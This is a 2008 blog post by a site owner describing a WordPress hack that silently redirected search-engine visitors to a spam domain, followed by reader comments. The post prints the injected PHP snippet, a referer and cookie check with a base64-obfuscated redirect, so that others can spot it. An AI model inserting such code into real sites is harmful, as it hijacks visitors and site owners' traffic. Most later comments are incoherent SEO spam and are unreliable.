WordPress Hacked, Search Engine Traffic Stolen by AnyResults.net

by Michael on June 5, 2008 · 11 comments

Something scary happened today at one of my other sites. Around 3:30 EDT, I noticed that I was getting many fewer visitors than normal. Upon further investigation, I realized that my search engine traffic had all but dried up. Thinking I had been banned by Google, I dug deeper.


Oddly enough, I still ranked well for all of the terms that had brought me traffic in the past. So what was happening? If I was still ranking well in the SERPs, why weren’t people clicking through?

Unsure of what else to do, I enlisted the help of some friends. Among other things, I asked these guys to search for a few keywords to see if my rankings were holding up. As it turns out, my search results were just fine, ruling out the possibility that Google had rolled out new search data that simply hadn’t filtered down to our neck of the woods.

And then it happened…

One of my friends clicked on a Google search result and was redirected elsewhere. But when he clicked it again, all was well. When I reported this to another friend, he saw something similar.

As it turns out, I was the victim of a WordPress hack that stole pretty much all of my search traffic, but somehow hid itself using cookies. Upon further inspection, I discovered the following bit of code at the top of index.php:

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

If you hit Google without the cookie and tried to click through to my site, you were directed elsewhere. But once it happened to you once, it couldn’t be repeated until you cleared your cookies. Very sneaky.

So where was all of my traffic going?

It was being shunted through www.anyresult.net (no link for you!) and then winding up at a spammy, ad-filled landing page on www.dealtime.com (again, no link for you — I’ve helped enough today). I suspect that dealtime.com had likewise been compromised, though I can’t say for sure.

I’m still not sure how they got in, but I’ve reported it to my host, cleaned everything up, and changed all of my passwords. For reference, I was running WordPress 2.3.3, though I have since upgraded to WordPress 2.5.1.

Before you ask, yes, I’m aware that I was taking a slight risk by running a slightly older version of WordPress. In my defense, however, early releases of major WordPress updates often have numerous bugs of their own. As such, I typically wait until at X.X.2 before upgrading unless a serious hole is discovered in the version that I’m currently using.

Guess what? I just found one.


{ 11 comments… read them below or add one }

Eden June 5, 2008 at 5:20 pm

That’s a drag. Thanks for sharing the details though. Certainly that would be difficult to diagnose, but having the string of code you posted to reference will make it easy to find for anyone else who has been hacked.

Reply

Pinyo June 6, 2008 at 9:01 am

I am sorry to hear about the incident. I am glad to see you recovered quickly.

Reply

Bob June 7, 2008 at 12:15 pm

Hello,

My blogs are suffering from the same hack.

How exactly did you clean it up?

Just remove the code from index/php?

Reply

John June 8, 2008 at 7:49 am

For what it’s worth I was running 2.5.1 and also go hacked.

The only difference seems to be the code going to wp-blog-header.php instead of index.php

Reply

Miguel Cabrera Memorabilia December 28, 2013 at 7:23 am

Why visitors still use to read news papers when in this technological
globe all is existing on net?

Reply

Liza March 5, 2014 at 10:03 am

Make your car stand out with some of the best looking wheels on
the road. Flooding, typhoons and heavy rains can also affect production,
as it relies on actual people walking out to
the trees to ‘tap’ them daily for rubbery latex sap.
Facet Percentage: Their bond between wheel top as well
as size.

Reply

youtube.com/watch?v=7qpqmj-MEUI March 6, 2014 at 7:08 pm

is to use it to make a tire swing for your kids or for decoration under a tree.
Radial tires encourage both uniformity and steering response.
As usual, the military often leads the way in transport technologies.

Reply

mulch hose March 27, 2014 at 11:04 am

This means that you will want to seek the advice of the people who are working at the nearest garden centre in regards to how high these
particular blossoms will really evolve and the length of time does it take them all.

Any business ranging from a physician’s private office to
a large conglomerates need someone to answer their phone
calls and take messages, allowing permanent employees and the entrepreneur
free to devote time to their core competencies.
But, when executed improperly, your beautiful slice of Paradise can quickly become a massive headache.

Reply

farm tires March 29, 2014 at 6:08 am

Terms such as wheels and tires justify a before for ease the survive
need to measure up the online the pricetag. The steam engine powered Frick
tractors came in the market in the 1940s. While this additional weight can provide stability, it will also cause the foam-filled tires to create ruts and dents in
the ground.

Reply

leaf vacuum hose April 11, 2014 at 1:02 pm

While it isn’t necessarily an expensive hobby, anyone who
is interested in landscaping and gardening, they should invest in some
hardy tools to help them. Now that we have some of the basics out of
the way, who are you targeting as customers.
When homes, buildings, bridges, and roadways are demolished, the resultant rubble can be broken down and transformed into new aggregate materials, with
proper equipment.

Reply

5 inch leaf vacuum hose April 14, 2014 at 6:27 pm

This means that you will want to seek the advice of the people who are working at the
nearest garden centre in regards to how high these particular blossoms will
really evolve and the length of time does it take them all.

The scope of a maintenance and repair business is endless and includes outdoor painting, plumbing works, roofing works, tress works for
garages and railings, insulation works, fencing related works, gardening and landscaping works, and others.
When homes, buildings, bridges, and roadways are demolished,
the resultant rubble can be broken down and transformed into new aggregate materials,
with proper equipment.

Reply

Leave a Comment

Previous post:

Next post: